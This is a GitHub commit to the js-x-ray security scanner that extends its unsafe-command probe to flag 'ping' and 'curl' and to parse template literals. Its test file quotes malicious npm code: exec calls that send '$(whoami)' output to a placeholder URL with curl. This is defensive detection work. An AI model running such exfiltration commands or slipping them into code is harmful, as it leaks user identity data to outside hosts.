Skip to content

Commit ca954d8

Browse files
authored
feat(probes): handle ping and curl for unsafe-command (#381)
Signed-off-by: Tony Gorez <[email protected]>
1 parent 91031f8 commit ca954d8

File tree

4 files changed

+62
-4
lines changed

4 files changed

+62
-4
lines changed

.changeset/silly-feet-hunt.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
---
2+
"@nodesecure/js-x-ray": patch
3+
---
4+
5+
Handle curl and ping for unsafe-command probe

workspaces/js-x-ray/src/probes/isUnsafeCommand.ts

Lines changed: 18 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -5,10 +5,10 @@ import type { ESTree } from "meriyah";
55
import { SourceFile } from "../SourceFile.js";
66
import { generateWarning } from "../warnings.js";
77
import { ProbeSignals } from "../ProbeRunner.js";
8-
import { isLiteral } from "../types/estree.js";
8+
import { isLiteral, isTemplateLiteral } from "../types/estree.js";
99

1010
// CONSTANTS
11-
const kUnsafeCommands = ["csrutil", "uname"];
11+
const kUnsafeCommands = ["csrutil", "uname", "ping", "curl"];
1212

1313
function isUnsafeCommand(
1414
command: string
@@ -25,6 +25,20 @@ function isSpawnOrExec(
2525
name === "execSync";
2626
}
2727

28+
function getCommand(commandArg: ESTree.Literal | ESTree.TemplateLiteral): string {
29+
let command = "";
30+
switch (commandArg.type) {
31+
case "Literal":
32+
command = commandArg.value as string;
33+
break;
34+
case "TemplateLiteral":
35+
command = commandArg.quasis.at(0)?.value.raw as string;
36+
break;
37+
}
38+
39+
return command;
40+
}
41+
2842
/**
2943
* @description Detect spawn or exec unsafe commands
3044
* @example
@@ -93,11 +107,11 @@ function main(
93107
const { sourceFile, data: methodName } = options;
94108

95109
const commandArg = node.arguments[0];
96-
if (!isLiteral(commandArg)) {
110+
if (!isLiteral(commandArg) && !isTemplateLiteral(commandArg)) {
97111
return null;
98112
}
99113

100-
let command = commandArg.value;
114+
let command = getCommand(commandArg);
101115
if (isUnsafeCommand(command)) {
102116
// Spawned command arguments are filled into an Array
103117
// as second arguments. This is why we should add them

workspaces/js-x-ray/src/types/estree.ts

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,24 @@ export function isLiteral(
2828
typeof node.value === "string";
2929
}
3030

31+
export function isTemplateLiteral(
32+
node: any
33+
): node is ESTree.TemplateLiteral {
34+
if (!isNode(node) || node.type !== "TemplateLiteral") {
35+
return false;
36+
}
37+
38+
const firstQuasi = node.quasis.at(0);
39+
if (!firstQuasi) {
40+
return false;
41+
}
42+
43+
return (
44+
firstQuasi.type === "TemplateElement" &&
45+
typeof firstQuasi.value.raw === "string"
46+
);
47+
}
48+
3149
export function isCallExpression(
3250
node: any
3351
): node is ESTree.CallExpression {

workspaces/js-x-ray/test/probes/isUnsafeCommand.spec.ts

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -114,3 +114,24 @@ test("aog-checker detection", () => {
114114
assert.equal(result.kind, kWarningUnsafeCommand);
115115
assert.equal(result.value, "uname -a");
116116
});
117+
118+
test("mydummyproject-zyp detection", () => {
119+
// Ref: https://socket.dev/npm/package/mydummyproject-zyp/files/99.9.9/index.js
120+
const maliciousCode = `
121+
require('child_process').exec('ping -c 4 <URL>');
122+
require('child_process').exec(\`curl -X POST -d "$(whoami)" <URL>/c\`);
123+
require('child_process').exec(\`curl "<URL>/c?user=$(whoami)"\`);
124+
`;
125+
126+
const ast = parseScript(maliciousCode);
127+
const sastAnalysis = getSastAnalysis(maliciousCode, isUnsafeCommand)
128+
.execute(ast.body);
129+
130+
const result = sastAnalysis.warnings();
131+
assert.equal(result.at(0).kind, kWarningUnsafeCommand);
132+
assert.equal(result.at(0).value, "ping -c 4 <URL>");
133+
assert.equal(result.at(1).kind, kWarningUnsafeCommand);
134+
assert.equal(result.at(1).value, "curl -X POST -d \"$(whoami)\" <URL>/c");
135+
assert.equal(result.at(2).kind, kWarningUnsafeCommand);
136+
assert.equal(result.at(2).value, "curl \"<URL>/c?user=$(whoami)\"");
137+
});

0 commit comments

Comments
 (0)